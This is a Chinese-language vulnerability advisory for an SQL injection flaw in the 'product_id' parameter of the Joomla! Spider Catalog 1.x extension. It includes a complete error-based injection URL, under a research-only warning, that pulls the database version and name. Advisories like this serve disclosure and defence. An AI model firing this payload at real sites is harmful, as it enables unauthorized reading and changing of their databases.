Joomla! Spider Catalog扩展'product_id'参数SQL注入漏洞


发布日期：2012-10-31
更新日期：2012-11-04

受影响系统：
Joomla! Spider Catalog 1.x
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56357

Joomla! Spider Catalog扩展是将网站上的产品形成产品目录的工具。

Spider Catalog 1.1及其他版本存在SQL注入漏洞，通过 "product_id" 参数发送到index.php（当"option" 设置为 "com_spidercatalog") 的输入没有正确过滤即被用在SQL查询中，利用此漏洞可允许攻击者控制应用、访问或修改数据、利用下层数据库内的其他漏洞。

<*来源：Daniel Barragan
 
  链接：http://secunia.com/advisories/51140/
        http://www.exploit-db.com/exploits/22403/
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/index.php?option=com_spidercatalog&amp;amp;product_id=-1%27%20or%201%3d1%2b%28select

%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%28version%28%29,0x3D,database

%28%29,0x3D,0x3D,0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a

%20group%20by%20x%20limit%201%29%29%2b%27&amp;amp;view=showproduct&amp;amp;page_num=1&amp;amp;back=1

建议：
--------------------------------------------------------------------------------
厂商补丁：

Joomla!
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.joomla.org/

相关内容